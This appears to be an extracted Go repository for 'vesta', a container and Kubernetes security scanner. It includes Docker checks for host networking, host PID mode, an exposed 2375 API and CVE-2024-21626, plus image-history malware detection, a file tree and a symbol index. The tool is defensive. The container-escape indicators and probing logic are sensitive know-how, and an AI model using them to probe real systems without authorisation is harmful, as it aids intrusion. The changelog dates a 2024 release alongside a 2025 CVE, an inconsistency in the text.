if currentVersion.Compare(maxVersion) <= 0 || version == "1.4.1" || version == "1.4.0" {
th := &threat{
Param: "network",
Value: "host",
Describe: fmt.Sprintf("Containerd version is %s lower than 1.3.7 or 1.4.1"+
" is suffer vulnerable of CVE-2020-15257.", version),
Reference: "https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
if !vuln {
th := &threat{
Param: "network",
Value: "host",
Describe: "Docker container is running with `--net=host`, " +
"which will exposed the network of physical machine.",
Severity: "medium",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
func checkPid(config *types.ContainerJSON) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
if config.HostConfig.PidMode == "host" {
th := &threat{
Param: "pid",
Value: "host",
Describe: "Docker container is run with `--pid=host`, " +
"which attackers can see all the processes in physical machine" +
" and cause the potential container escape.",
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkImageUsed(config *types.ContainerJSON, vulnContainers []*container) (bool, []*threat) {
var vuln = false
tlist := []*threat{}
imageMixed := strings.Split(config.Image, ":")
imageID := imageMixed[1][:12]
for _, v := range vulnContainers {
if strings.Contains(v.ContainerName, "Image Configuration") {
for _, ids := range v.Threats {
if strings.Contains(ids.Value, imageID) {
th := &threat{
Param: "Dangerous image",
Value: fmt.Sprintf("Image ID: %s", imageID),
Describe: "Docker container used dangerous image.",
Severity: ids.Severity,
}
tlist = append(tlist, th)
vuln = true
break
}
}
}
}
return vuln, tlist
}
func checkDockerUnauthorized() (bool, []*threat) {
log.Printf(_config.Yellow("Begin unauthorized analyzing"))
var vuln = false
tlist := []*threat{}
client := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
var request *http.Request
request, err := http.NewRequest("GET", "http://0.0.0.0:2375/info", nil)
if err != nil {
return vuln, tlist
}
resp, err := client.Do(request)
if err != nil {
return vuln, tlist
}
defer resp.Body.Close()
content, err := ioutil.ReadAll(resp.Body)
if err != nil {
return vuln, tlist
}
value := gjson.Parse(string(content))
if value.Get("Containers").Value() != nil {
th := &threat{
Param: "Docker unauthorized",
Value: "0.0.0.0:2375",
Describe: "Exporting 2375 port is suffering the container escape.",
Reference: "Delete row which contained `tcp://0.0.0.0:2375`.",
Severity: "critical",
}
tlist = append(tlist, th)
vuln = true
}
return vuln, tlist
}
func checkImages(images []*_image.ImageInfo) (bool, []*threat) {
log.Printf(_config.Yellow("Begin image analyzing"))
var vuln = false
tlist := []*threat{}
for _, image := range images {
if len(image.Summary.RepoTags) < 1 {
sha := strings.Split(image.Summary.ID, ":")[1]
th := &threat{
Param: "Image ID",
Value: sha[:12],
Describe: fmt.Sprintf("Image Id %s is not tagged, suspectable image.", sha[:12]),
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
continue
}
repoTag := strings.Split(image.Summary.RepoTags[0], ":")
if len(repoTag) > 1 && repoTag[1] == "latest" {
th := &threat{
Param: "Image Name",
Value: image.Summary.RepoTags[0],
Describe: "Using the latest tag will be suffered potential image hijack.",
Severity: "low",
}
tlist = append(tlist, th)
vuln = true
}
}
return vuln, tlist
}
================================================
FILE: internal/analyzer/docker_history.go
================================================
package analyzer
import (
"fmt"
"log"
"regexp"
"strings"
imagev1 "github.com/docker/docker/api/types/image"
_config "github.com/kvesta/vesta/config"
_image "github.com/kvesta/vesta/pkg/inspector"
)
func CheckHistories(images []*_image.ImageInfo) (bool, []*threat) {
log.Printf(_config.Yellow("Begin image histories analyzing"))
var vuln = false
tlist := []*threat{}
echoReg := regexp.MustCompile(`echo ["|'](.*?)["|']`)
for _, img := range images {
env := getEnv(img.History)
// Check the sensitive environment
if ok, tl := checkEnv(env); ok {
for _, th := range tl {
th.Value = fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12])
tlist = append(tlist, th)
}
vuln = true
}
for _, layer := range img.History {
pruneLayerAfter1 := strings.TrimPrefix(layer.CreatedBy, "/bin/sh -c ")
pruneLayerAfter2 := strings.TrimPrefix(pruneLayerAfter1, "#(nop)")
pruneLayer := strings.TrimSpace(pruneLayerAfter2)
link := strings.Split(pruneLayer, " ")[0]
switch link {
case "CMD", "ADD", "ARG", "LABEL", "COPY", "EXPOSE", "ENTRYPOINT", "USER":
continue
case "WORKDIR":
// Check CVE-2024-21626
values := strings.Split(pruneLayer, " ")
if cveRuncRegex.MatchString(values[1]) {
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: "Detected malicious image based on CVE-2024-21626, " +
"which has a link of /proc/self/fd.",
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
}
case "ENV":
values := strings.Split(pruneLayer, "=")
detect := maliciousContentCheck(values[1])
switch detect.Types {
case Executable:
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Executable value found in ENV: '%s' "+
"with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
case Confusion:
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Confusion value found in ENV: '%s' "+
"with the plain text '%s'.", strings.TrimPrefix(values[0], "ENV "), detect.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
default:
// ignore
}
continue
}
commands := strings.Split(pruneLayer, "&&")
for _, cmd := range commands {
detectCmd := maliciousContentCheck(strings.TrimSpace(cmd))
if detectCmd.Types > Unknown {
th := &threat{
Param: "Image History",
Value: fmt.Sprintf("Image name: %s | "+
"Image ID: %s", img.Summary.RepoTags[0],
strings.TrimPrefix(img.Summary.ID, "sha256:")[:12]),
Describe: fmt.Sprintf("Malicious cmd found in RUN: '%s' "+
"with the plain text '%s'.", cmd, detectCmd.Plain),
Severity: "high",
}
tlist = append(tlist, th)
vuln = true
continue
}
gitextract_xofttoh4/
├── .gitignore
├── CHANGELOG.md
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── README.zh-Hans.md
├── cli/
│ ├── analyze.go
│ ├── banner.go
│ ├── cobra.go
│ ├── command.go
│ └── scan.go
├── cmd/
│ └── vesta/
│ └── main.go
├── config/
│ └── conf.go
├── go.mod
├── go.sum
├── helm/
│ └── vesta/
│ ├── .helmignore
│ ├── Chart.yaml
│ ├── README.md
│ ├── templates/
│ │ ├── _helpers.tpl
│ │ ├── clusterrole.yaml
│ │ ├── clusterrolebinding.yaml
│ │ ├── job.yaml
│ │ └── serviceaccount.yaml
│ └── values.yaml
├── internal/
│ ├── analyzer/
│ │ ├── analyze.go
│ │ ├── analyze_test.go
│ │ ├── docker.go
│ │ ├── docker_history.go
│ │ ├── k8s_cni.go
│ │ ├── k8s_configuration.go
│ │ ├── k8s_dashboard.go
│ │ ├── k8s_pod.go
│ │ ├── k8s_rbac.go
│ │ ├── scanner.go
│ │ ├── testdata/
│ │ │ ├── Dockerfile
│ │ │ ├── clusterrolebinding.yaml
│ │ │ ├── configmap.yaml
│ │ │ ├── daemonset.yaml
│ │ │ ├── docker-compose.yaml
│ │ │ ├── job.yaml
│ │ │ ├── pod.yaml
│ │ │ ├── podsecuritypolicy.yaml
│ │ │ ├── pv.yaml
│ │ │ ├── pvc.yaml
│ │ │ ├── rolebinding.yaml
│ │ │ └── secret.yaml
│ │ └── utils.go
│ ├── encode.go
│ ├── extract.go
│ ├── inspect.go
│ ├── report/
│ │ ├── files.go
│ │ └── output.go
│ ├── scanner.go
│ ├── utils.go
│ └── vulnscan/
│ ├── scanner.go
│ ├── utils.go
│ └── vuln.go
└── pkg/
├── extractor.go
├── inspector/
│ ├── client.go
│ ├── container.go
│ ├── image.go
│ └── utils.go
├── layer/
│ ├── files.go
│ ├── integrator.go
│ ├── layer.go
│ └── manifest.go
├── match/
│ ├── match_test.go
│ ├── node_packs.go
│ ├── python_packs.go
│ └── utils.go
├── osrelease/
│ ├── analyzer.go
│ └── osversion.go
├── packages/
│ ├── apt.go
│ ├── arch.go
│ ├── general.go
│ ├── get_package.go
│ ├── go.go
│ ├── java.go
│ ├── node.go
│ ├── package.go
│ ├── parse_test.go
│ ├── php.go
│ ├── python.go
│ ├── rpm.go
│ ├── rust.go
│ └── testdata/
│ ├── gobintest
│ └── test.jar
└── vulnlib/
├── client.go
├── cvss.go
├── db.go
├── getvuln.go
└── oscs.go
SYMBOL INDEX (257 symbols across 60 files)
FILE: cli/analyze.go
function analyze (line 11) | func analyze() {
FILE: cli/banner.go
constant versions (line 3) | versions = "v1.0.11"
FILE: cli/cobra.go
function NoArgs (line 11) | func NoArgs(cmd *cobra.Command, args []string) error {
FILE: cli/command.go
function Execute (line 32) | func Execute() error {
FILE: cli/scan.go
function scan (line 16) | func scan() {
FILE: cmd/vesta/main.go
function main (line 10) | func main() {
FILE: internal/analyzer/analyze.go
method Analyze (line 17) | func (s *Scanner) Analyze(ctx context.Context) error {
method Kanalyze (line 48) | func (ks *KScanner) Kanalyze(ctx context.Context) error {
method checkDockerList (line 58) | func (s *Scanner) checkDockerList(config *types.ContainerJSON) error {
method checkKubernetesList (line 118) | func (ks *KScanner) checkKubernetesList(ctx context.Context) error {
function checkDockerVersion (line 285) | func checkDockerVersion(cli vulnlib.Client, serverVersion string) (bool,...
function checkKernelVersion (line 319) | func checkKernelVersion(cli vulnlib.Client, kernelVersion osrelease.Kern...
FILE: internal/analyzer/analyze_test.go
function TestSortSeverity (line 8) | func TestSortSeverity(t *testing.T) {
function TestWeakPassword (line 28) | func TestWeakPassword(t *testing.T) {
function TestMalware (line 77) | func TestMalware(t *testing.T) {
FILE: internal/analyzer/docker.go
method checkDockerContext (line 22) | func (s *Scanner) checkDockerContext(ctx context.Context, images []*_ima...
function checkSwarmLabels (line 105) | func checkSwarmLabels(labels map[string]string, name, configType string)...
method checkSwarmSecrets (line 149) | func (s *Scanner) checkSwarmSecrets() error {
method checkSwarmConfigs (line 181) | func (s *Scanner) checkSwarmConfigs() error {
method checkDockerService (line 248) | func (s *Scanner) checkDockerService() error {
method checkSwarm (line 323) | func (s *Scanner) checkSwarm() error {
function checkPrivileged (line 350) | func checkPrivileged(config *types.ContainerJSON) (bool, []*threat) {
function checkMount (line 405) | func checkMount(config *types.ContainerJSON) (bool, []*threat) {
function checkEnvPassword (line 430) | func checkEnvPassword(config *types.ContainerJSON) (bool, []*threat) {
function checkNetworkModel (line 522) | func checkNetworkModel(config *types.ContainerJSON, version string) (boo...
function checkPid (line 561) | func checkPid(config *types.ContainerJSON) (bool, []*threat) {
function checkImageUsed (line 583) | func checkImageUsed(config *types.ContainerJSON, vulnContainers []*conta...
function checkDockerUnauthorized (line 613) | func checkDockerUnauthorized() (bool, []*threat) {
function checkImages (line 663) | func checkImages(images []*_image.ImageInfo) (bool, []*threat) {
FILE: internal/analyzer/docker_history.go
function CheckHistories (line 14) | func CheckHistories(images []*_image.ImageInfo) (bool, []*threat) {
function echoPass (line 186) | func echoPass(cmd string, env map[string]string) string {
function getEnv (line 223) | func getEnv(images []imagev1.HistoryResponseItem) map[string]string {
function checkEnv (line 243) | func checkEnv(env map[string]string) (bool, []*threat) {
FILE: internal/analyzer/k8s_cni.go
method checkCNI (line 31) | func (ks *KScanner) checkCNI() error {
function checkEnvoy (line 78) | func checkEnvoy() (bool, []*threat) {
method checkIstio (line 197) | func (ks *KScanner) checkIstio(vulnCli vulnlib.Client) (bool, []*threat) {
method checkIstioHeader (line 263) | func (ks *KScanner) checkIstioHeader(podname, ns, cname string) (bool, [...
method checkCilium (line 329) | func (ks *KScanner) checkCilium(vulnCli vulnlib.Client) (bool, []*threat) {
method checkIngressNginx (line 394) | func (ks *KScanner) checkIngressNginx(vulnCli vulnlib.Client) (bool, []*...
method checkKubelet (line 509) | func (ks *KScanner) checkKubelet() (bool, []*threat) {
function checkKubeletUnauthorized (line 565) | func checkKubeletUnauthorized(ip string) (bool, []*threat) {
function checkKubectlProxy (line 617) | func checkKubectlProxy() (bool, []*threat) {
method checkEtcd (line 693) | func (ks *KScanner) checkEtcd() (bool, []*threat) {
FILE: internal/analyzer/k8s_configuration.go
method getNodeInfor (line 22) | func (ks *KScanner) getNodeInfor(ctx context.Context) error {
method dockershimCheck (line 55) | func (ks *KScanner) dockershimCheck(ctx context.Context) error {
method kernelCheck (line 98) | func (ks *KScanner) kernelCheck(ctx context.Context) error {
method checkPersistentVolume (line 129) | func (ks *KScanner) checkPersistentVolume() error {
type RBACVuln (line 176) | type RBACVuln struct
method checkPod (line 183) | func (ks *KScanner) checkPod(ns string) error {
method checkPodSecurityPolicy (line 224) | func (ks *KScanner) checkPodSecurityPolicy() error {
method checkDaemonSet (line 321) | func (ks *KScanner) checkDaemonSet(ns string) error {
method checkJobsOrCornJob (line 380) | func (ks *KScanner) checkJobsOrCornJob(ns string) error {
method checkCerts (line 493) | func (ks *KScanner) checkCerts() error {
function checkK8sVersion (line 526) | func checkK8sVersion(cli vulnlib.Client, k8sVersion string) (bool, []*th...
FILE: internal/analyzer/k8s_dashboard.go
method checkKuberDashboard (line 12) | func (ks *KScanner) checkKuberDashboard() error {
method checkDashboardRBAC (line 49) | func (ks *KScanner) checkDashboardRBAC(th *threat) {
FILE: internal/analyzer/k8s_pod.go
method podAnalyze (line 16) | func (ks *KScanner) podAnalyze(podSpec v1.PodSpec, rv RBACVuln, ns, podN...
function checkPodVolume (line 159) | func checkPodVolume(container v1.Volume) (bool, []*threat) {
function checkPodPrivileged (line 186) | func checkPodPrivileged(container v1.Container) (bool, []*threat) {
method checkSidecarEnv (line 264) | func (ks *KScanner) checkSidecarEnv(container v1.Container, ns string) (...
function checkResourcesLimits (line 394) | func checkResourcesLimits(container v1.Container, volumes []v1.Volume) (...
function checkPodAccountService (line 477) | func checkPodAccountService(container v1.Container, rv RBACVuln) (bool, ...
function checkPodAnnotation (line 525) | func checkPodAnnotation(ans map[string]string) (bool, []*threat) {
method checkPodCommand (line 571) | func (ks *KScanner) checkPodCommand(container v1.Container, ns string) (...
method checkPodNodeSelector (line 656) | func (ks *KScanner) checkPodNodeSelector(podSpec v1.PodSpec) (bool, []*t...
FILE: internal/analyzer/k8s_rbac.go
method checkRoleBinding (line 15) | func (ks *KScanner) checkRoleBinding(ns string) error {
method checkClusterBinding (line 168) | func (ks *KScanner) checkClusterBinding() error {
function checkMatchingRole (line 317) | func checkMatchingRole(clr []rv1.ClusterRole, rol []rv1.Role, ruleName s...
method checkConfigMap (line 383) | func (ks *KScanner) checkConfigMap(ns string) error {
method checkSecret (line 473) | func (ks *KScanner) checkSecret(ns string) error {
method checkSecretFromName (line 573) | func (ks *KScanner) checkSecretFromName(ns, key, seName, envName string)...
method checkConfigFromName (line 598) | func (ks *KScanner) checkConfigFromName(ns, key, seName, envName string)...
method findSecretOrConfigMapValue (line 623) | func (ks *KScanner) findSecretOrConfigMapValue(name, com, ns string) str...
function findVulnEnvName (line 669) | func findVulnEnvName[T []byte | string](data map[string]T, key, envName,...
function RBACVulnTypeJudge (line 727) | func RBACVulnTypeJudge(rules, resources []string) (string, string) {
FILE: internal/analyzer/scanner.go
type Scanner (line 9) | type Scanner struct
type container (line 17) | type container struct
type threat (line 28) | type threat struct
type KScanner (line 38) | type KScanner struct
type nodeInfo (line 48) | type nodeInfo struct
FILE: internal/analyzer/utils.go
type AnType (line 64) | type AnType struct
function checkWeakPassword (line 70) | func checkWeakPassword(pass string) string {
function compareVersion (line 135) | func compareVersion(currentVersion, maxVersion, minVersion string) bool {
function checkPrefixMountPaths (line 197) | func checkPrefixMountPaths(path string) bool {
function checkFullPaths (line 206) | func checkFullPaths(path string) bool {
function checkMountPath (line 216) | func checkMountPath(path string) bool {
function sortSeverity (line 221) | func sortSeverity(threats []*threat) {
type MalReporter (line 227) | type MalReporter struct
type MalLevel (line 233) | type MalLevel
constant Unknown (line 237) | Unknown MalLevel = 0
constant Confusion (line 239) | Confusion MalLevel = 1
constant Executable (line 241) | Executable MalLevel = 2
function maliciousContentCheck (line 244) | func maliciousContentCheck(command string) MalReporter {
function decodeBase64 (line 314) | func decodeBase64(content string) []byte {
function standardDeviation (line 342) | func standardDeviation[T float64 | int](num []T) float64 {
function isPath (line 355) | func isPath(content string) bool {
method findEnvValue (line 368) | func (ks *KScanner) findEnvValue(container v1.Container, name, ns string...
method getRBACVulnType (line 397) | func (ks *KScanner) getRBACVulnType(ns string) RBACVuln {
method checkConfigVulnType (line 443) | func (ks *KScanner) checkConfigVulnType(ns, name, ty string, configReg *...
method getPodFromLabels (line 469) | func (ks *KScanner) getPodFromLabels(ns string, matchLabels map[string]s...
method addExtraPod (line 495) | func (ks *KScanner) addExtraPod(ns string, p v1.Pod, vList []*threat) {
method prunePod (line 522) | func (ks *KScanner) prunePod(ns, podName string) (bool, error) {
FILE: internal/encode.go
function RandomString (line 8) | func RandomString() string {
FILE: internal/extract.go
function exists (line 15) | func exists(path string) bool {
function mkFolder (line 28) | func mkFolder(foldername string) string {
function Extract (line 39) | func Extract(ctx context.Context, tarPath string, tarIO []io.ReadCloser)...
FILE: internal/inspect.go
function Inspect (line 10) | func Inspect(ctx context.Context, tempPath string, tarReader *tar.Reader...
FILE: internal/report/files.go
function exists (line 19) | func exists(path string) bool {
function getOutputFile (line 31) | func getOutputFile(ctx context.Context) (string, error) {
function ScanToJson (line 62) | func ScanToJson(ctx context.Context, r vulnscan.Scanner) error {
function AnalyzeDockerToJson (line 83) | func AnalyzeDockerToJson(ctx context.Context, r analyzer.Scanner) error {
function AnalyzeKubernetesToJson (line 104) | func AnalyzeKubernetesToJson(ctx context.Context, r analyzer.KScanner) e...
FILE: internal/report/output.go
function ResolveAnalysisData (line 18) | func ResolveAnalysisData(ctx context.Context, r vulnscan.Scanner) error {
function ResolveDockerData (line 87) | func ResolveDockerData(ctx context.Context, r analyzer.Scanner) error {
function ResolveKuberData (line 141) | func ResolveKuberData(ctx context.Context, r analyzer.KScanner) error {
function judgeSeverity (line 252) | func judgeSeverity(severity string) string {
FILE: internal/scanner.go
type Vuln (line 11) | type Vuln struct
type Inpsectors (line 21) | type Inpsectors struct
FILE: internal/utils.go
function DoScan (line 26) | func DoScan(ctx context.Context, tarFile string, tarIO []io.ReadCloser) {
function DoInspectInDocker (line 126) | func DoInspectInDocker(ctx context.Context) {
function DoInspectInKubernetes (line 175) | func DoInspectInKubernetes(ctx context.Context) {
FILE: internal/vulnscan/scanner.go
type Scanner (line 8) | type Scanner struct
type vulnComponent (line 16) | type vulnComponent struct
FILE: internal/vulnscan/utils.go
function sortSeverity (line 14) | func sortSeverity(vulnComponents []*vulnComponent) {
function exists (line 20) | func exists(path string) bool {
function listPythonSitePack (line 32) | func listPythonSitePack(sitePath string) []string {
function listPythonPth (line 57) | func listPythonPth(sitePath string) []string {
FILE: internal/vulnscan/vuln.go
method Scan (line 23) | func (ps *Scanner) Scan(ctx context.Context, m *layer.Manifest, p *packa...
function getInfo (line 106) | func getInfo(row *vulnlib.DBRow, version, packType string) *vulnComponent {
function compareVersion (line 126) | func compareVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) (...
function compareRpmVersion (line 223) | func compareRpmVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string...
method checkPythonModule (line 305) | func (ps *Scanner) checkPythonModule(ctx context.Context, pys []*package...
method checkNpmModule (line 410) | func (ps *Scanner) checkNpmModule(ctx context.Context, nodes []*packages...
method checkGoMod (line 462) | func (ps *Scanner) checkGoMod(ctx context.Context, gobins []*packages.GO...
method checkJavaPacks (line 490) | func (ps *Scanner) checkJavaPacks(ctx context.Context, javas []*packages...
method checkPHPPacks (line 518) | func (ps *Scanner) checkPHPPacks(ctx context.Context, phps []*packages.P...
method checkRustPacks (line 546) | func (ps *Scanner) checkRustPacks(ctx context.Context, rusts []*packages...
method checkPackageVersion (line 574) | func (ps *Scanner) checkPackageVersion(ctx context.Context, packs []*pac...
method getOthers (line 624) | func (ps *Scanner) getOthers(ctx context.Context, others []*packages.Oth...
method checkPassword (line 648) | func (ps *Scanner) checkPassword(ctx context.Context, m *layer.Manifest)...
FILE: pkg/extractor.go
function exists (line 14) | func exists(path string) bool {
function Walk (line 27) | func Walk(tarReader *tar.Reader, path string) error {
function AnalyzeTarLayer (line 72) | func AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, st...
FILE: pkg/inspector/client.go
type DockerApi (line 13) | type DockerApi struct
FILE: pkg/inspector/container.go
method GetContainerName (line 13) | func (da *DockerApi) GetContainerName(containerID string) ([]io.ReadClos...
method GetAllContainers (line 64) | func (da *DockerApi) GetAllContainers() ([]*types.ContainerJSON, error) {
method GetEngineVersion (line 85) | func (da *DockerApi) GetEngineVersion(ctx context.Context) (string, erro...
method GetDockerServerVersion (line 104) | func (da *DockerApi) GetDockerServerVersion(ctx context.Context) (string...
method FindDockerService (line 119) | func (da *DockerApi) FindDockerService(name string) bool {
FILE: pkg/inspector/image.go
method GetImageName (line 14) | func (da *DockerApi) GetImageName(imageID string) ([]io.ReadCloser, erro...
type ImageInfo (line 49) | type ImageInfo struct
method GetAllImage (line 54) | func (da *DockerApi) GetAllImage() ([]*ImageInfo, error) {
FILE: pkg/inspector/utils.go
function GetTarFromID (line 11) | func GetTarFromID(ctx context.Context, ID string) ([]io.ReadCloser, erro...
FILE: pkg/layer/files.go
method File (line 9) | func (m *Manifest) File(file string) (*bytes.Buffer, error) {
FILE: pkg/layer/integrator.go
function md5Stamp (line 21) | func md5Stamp() string {
method GetLayers (line 27) | func (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader,...
FILE: pkg/layer/layer.go
type Layer (line 12) | type Layer struct
method Integration (line 17) | func (l *Layer) Integration(dir, layerHash string) error {
FILE: pkg/layer/manifest.go
type Manifest (line 7) | type Manifest struct
FILE: pkg/match/match_test.go
function TestPythonMatch (line 8) | func TestPythonMatch(t *testing.T) {
function TestPythonNormalPackages (line 70) | func TestPythonNormalPackages(t *testing.T) {
function TestNodeMatch (line 105) | func TestNodeMatch(t *testing.T) {
function TestNpmNormalPackages (line 143) | func TestNpmNormalPackages(t *testing.T) {
FILE: pkg/match/node_packs.go
function NpmMatch (line 12) | func NpmMatch(pack string) Suspicion {
FILE: pkg/match/python_packs.go
function PyMatch (line 39) | func PyMatch(pack string) Suspicion {
function malwareCheck (line 66) | func malwareCheck(pack string) string {
function PyMalwareScan (line 77) | func PyMalwareScan(filename string) Suspicion {
function pyCheckLink (line 123) | func pyCheckLink(d []string) string {
function pyCheckCommand (line 143) | func pyCheckCommand(d []string, data string) string {
FILE: pkg/match/utils.go
type Suspicion (line 9) | type Suspicion struct
type Operation (line 14) | type Operation
constant Unknown (line 18) | Unknown Operation = 0
constant Confusion (line 20) | Confusion Operation = 1
constant Malware (line 22) | Malware Operation = 2
function compare (line 25) | func compare(pack1, pack2 string) float64 {
function confusionCheck (line 43) | func confusionCheck(pack string, datas []string) string {
FILE: pkg/osrelease/analyzer.go
function KernelParse (line 23) | func KernelParse(kernel string) KernelVersion {
function GetKernelVersion (line 44) | func GetKernelVersion(ctx context.Context) (KernelVersion, error) {
function DetectOs (line 140) | func DetectOs(ctx context.Context, m layer.Manifest) (*OsVersion, error) {
function parse (line 166) | func parse(config, path string) (map[string]string, error) {
function getOs (line 204) | func getOs(config, path string) (*OsVersion, error) {
FILE: pkg/osrelease/osversion.go
type OsVersion (line 5) | type OsVersion struct
type KernelVersion (line 12) | type KernelVersion struct
FILE: pkg/packages/apt.go
method getAptPacks (line 9) | func (s *Packages) getAptPacks(ctx context.Context, dpkg string) error {
FILE: pkg/packages/arch.go
method getArchPacks (line 9) | func (s *Packages) getArchPacks(ctx context.Context, pacman string) error {
FILE: pkg/packages/general.go
method Traverse (line 16) | func (s *Packages) Traverse(ctx context.Context) error {
function getHTMLType (line 240) | func getHTMLType(path string) string {
function checkLiblzma (line 288) | func checkLiblzma(path string) bool {
FILE: pkg/packages/get_package.go
method GetApp (line 13) | func (s *Packages) GetApp(ctx context.Context) error {
FILE: pkg/packages/go.go
type MOD (line 9) | type MOD struct
type GOBIN (line 15) | type GOBIN struct
function getGOPacks (line 21) | func getGOPacks(rt io.ReaderAt) (*GOBIN, error) {
FILE: pkg/packages/java.go
type JAVA (line 13) | type JAVA struct
type Jar (line 19) | type Jar struct
function getJavaPacks (line 40) | func getJavaPacks(rt io.ReaderAt, size int64) (*JAVA, error) {
function parseProperties (line 78) | func parseProperties(file *zip.File) (*Jar, error) {
function parseManifest (line 107) | func parseManifest(file *zip.File) string {
function parseLib (line 128) | func parseLib(jarName string) (*Jar, error) {
FILE: pkg/packages/node.go
type NPM (line 14) | type NPM struct
type Node (line 19) | type Node struct
method getNodeModulePacks (line 24) | func (s *Packages) getNodeModulePacks(nodePath string) error {
function getNodeModules (line 50) | func getNodeModules(path string, dir []fs.FileInfo) ([]*NPM, error) {
FILE: pkg/packages/package.go
type Packages (line 8) | type Packages struct
type Package (line 24) | type Package struct
type Other (line 31) | type Other struct
FILE: pkg/packages/parse_test.go
function TestParseGo (line 10) | func TestParseGo(t *testing.T) {
function TestParseJava (line 55) | func TestParseJava(t *testing.T) {
function TestParsePHP (line 111) | func TestParsePHP(t *testing.T) {
FILE: pkg/packages/php.go
type PHP (line 16) | type PHP struct
type PHPPack (line 22) | type PHPPack struct
function getPHPPacks (line 31) | func getPHPPacks(r io.Reader) (*PHP, error) {
function parsePHPName (line 64) | func parsePHPName(r io.Reader) string {
function getWordpressInfo (line 76) | func getWordpressInfo(dir string) (*PHP, error) {
function parseWordpressPluginVersion (line 142) | func parseWordpressPluginVersion(dir, pluginName string) string {
FILE: pkg/packages/python.go
type PIP (line 19) | type PIP struct
type Python (line 24) | type Python struct
method getSitePacks (line 34) | func (s *Packages) getSitePacks(ctx context.Context) error {
function getPIPModules (line 66) | func getPIPModules(path string) ([]*PIP, error) {
function getPyproject (line 83) | func getPyproject(filename string) (*Python, error) {
function getLocalPythonPacks (line 121) | func getLocalPythonPacks(path string) ([]*PIP, error) {
function parse (line 141) | func parse(pathname string) *PIP {
function exists (line 151) | func exists(path string) bool {
FILE: pkg/packages/rpm.go
method getRpmPacks (line 10) | func (s *Packages) getRpmPacks(ctx context.Context) error {
FILE: pkg/packages/rust.go
type Rust (line 9) | type Rust struct
type Cargo (line 15) | type Cargo struct
function getRustPacks (line 20) | func getRustPacks(rt io.ReaderAt) (*Rust, error) {
FILE: pkg/vulnlib/client.go
type Client (line 8) | type Client struct
type DBRow (line 15) | type DBRow struct
type cpes (line 30) | type cpes struct
type vuln (line 37) | type vuln struct
FILE: pkg/vulnlib/cvss.go
constant cvssUrl (line 22) | cvssUrl = "https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-%d.json.gz"
constant firstYear (line 24) | firstYear = 2010
method GetCvss (line 27) | func (c *Client) GetCvss(ctx context.Context) error {
function store (line 87) | func store(r io.Reader, filename string) error {
method cvssToDB (line 100) | func (c *Client) cvssToDB() error {
function readCVSS (line 131) | func readCVSS(filename string, handle func(filename string) error) error {
method cvssParse (line 168) | func (c *Client) cvssParse(data string) error {
function cpeParse (line 240) | func cpeParse(cpe []interface{}) []*cpes {
function findName (line 337) | func findName(cpeList []*cpes, name string) int {
FILE: pkg/vulnlib/db.go
method Init (line 17) | func (cli *Client) Init() error {
method update (line 78) | func (cli *Client) update(v *vuln) error {
method QueryVulnByName (line 103) | func (cli *Client) QueryVulnByName(name string) ([]*DBRow, error) {
method QueryVulnByCVEID (line 137) | func (cli *Client) QueryVulnByCVEID(cveid string) ([]*DBRow, error) {
FILE: pkg/vulnlib/getvuln.go
function Fetch (line 18) | func Fetch(ctx context.Context) error {
function getHomeDir (line 100) | func getHomeDir() (string, error) {
function exists (line 116) | func exists(path string) bool {
function mkFolder (line 128) | func mkFolder(path string) error {
function checkExpired (line 138) | func checkExpired(path string) bool {
function writeLog (line 184) | func writeLog(path string) error {
FILE: pkg/vulnlib/oscs.go
constant OSCSUrl (line 20) | OSCSUrl = "https://www.oscs1024.com/oscs/v1/intelligence/list"
constant OSCSVulnUrl (line 21) | OSCSVulnUrl = "https://www.oscs1024.com/oscs/v1/vdb/info"
constant pageSize (line 23) | pageSize = 50
method GetOSCS (line 26) | func (c *Client) GetOSCS(ctx context.Context) error {
function oscsRequest (line 82) | func oscsRequest(cli *http.Client, page int) ([]byte, error) {
method oscsVulnParse (line 116) | func (c *Client) oscsVulnParse(mps string) ([]byte, error) {
method oscsParse (line 148) | func (c *Client) oscsParse(data interface{}) error {
method oscsToDB (line 173) | func (c *Client) oscsToDB(com map[string]interface{}) error {
Condensed preview — 93 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (447K chars).
[
{
"path": ".gitignore",
"chars": 296,
"preview": "# Binaries for programs and plugins\n*.exe\n*.exe~\n*.dll\n*.so\n*.dylib\n\n\n# Test binary, built with `go test -c`\n*.test\n\n# O"
},
{
"path": "CHANGELOG.md",
"chars": 4082,
"preview": "# 1.0.11 (2024.7.22)\n## features\n- Add checking of `CVE-2025-1974` nginx ingress RCE\n\n## improvements\n- Add adaptive sca"
},
{
"path": "Dockerfile",
"chars": 218,
"preview": "FROM golang:1.20 as builder\nWORKDIR /build\nCOPY . .\nENV GOOS=linux CGO_ENABLED=1\nRUN make build.unix\n\nFROM alpine:3.17.3"
},
